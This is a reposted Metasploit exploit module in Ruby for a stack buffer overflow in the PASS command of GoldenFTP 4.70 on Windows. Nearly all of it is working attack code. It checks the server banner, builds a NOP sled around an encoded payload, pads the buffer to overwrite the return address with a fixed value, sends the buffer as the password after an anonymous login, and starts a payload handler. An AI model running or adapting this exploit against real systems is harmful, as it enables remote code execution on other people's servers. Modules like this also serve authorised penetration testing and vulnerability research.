ExploitFixes
GoldenFTP 4.70 PASS Stack Buffer Overflow 2011-06-02 10:15:04

#
# $Id: goldenftp_pass_bof.rb 12812 2011-06-02 01:10:22Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name' => 'GoldenFTP PASS Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the Golden
FTP service. This module uses the PASS command to trigger the overflow.
},
'Author' => [ 'bannedit' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 12812 $',
'References' =>
[
[ 'BID', '45957 '],
[ 'URL', 'http://www.exploit-db.com/exploits/16036/'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Privileged' => false,
'Payload' =>
{
'Space' => 350,
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => ['win'],
'Targets' =>
[
[
'Golden FTP 4.70 Universal', # Tested OK - bannedit 05/31/2011
{
'Platform' => 'win',
'Ret' => 0x00a93ca6,
},
]

],
'DisclosureDate' => 'Jan 23 2011'))
end

def check
connect
disconnect
print_status("FTP Banner: #{banner}".strip)
if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end

def exploit
if datastore['RHOST'].length < 15
pad = make_nops(1) * (15 - datastore['RHOST'].length)
end

sploit = make_nops(4) * 38
sploit << payload.encoded
sploit << pad
sploit << make_nops(1) * (528 - sploit.length)
sploit << [target.ret].pack('V')

print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
begin
connect
send_user("anonymous")
send_cmd(['PASS', sploit], false)
handler
rescue EOFError
end
end
end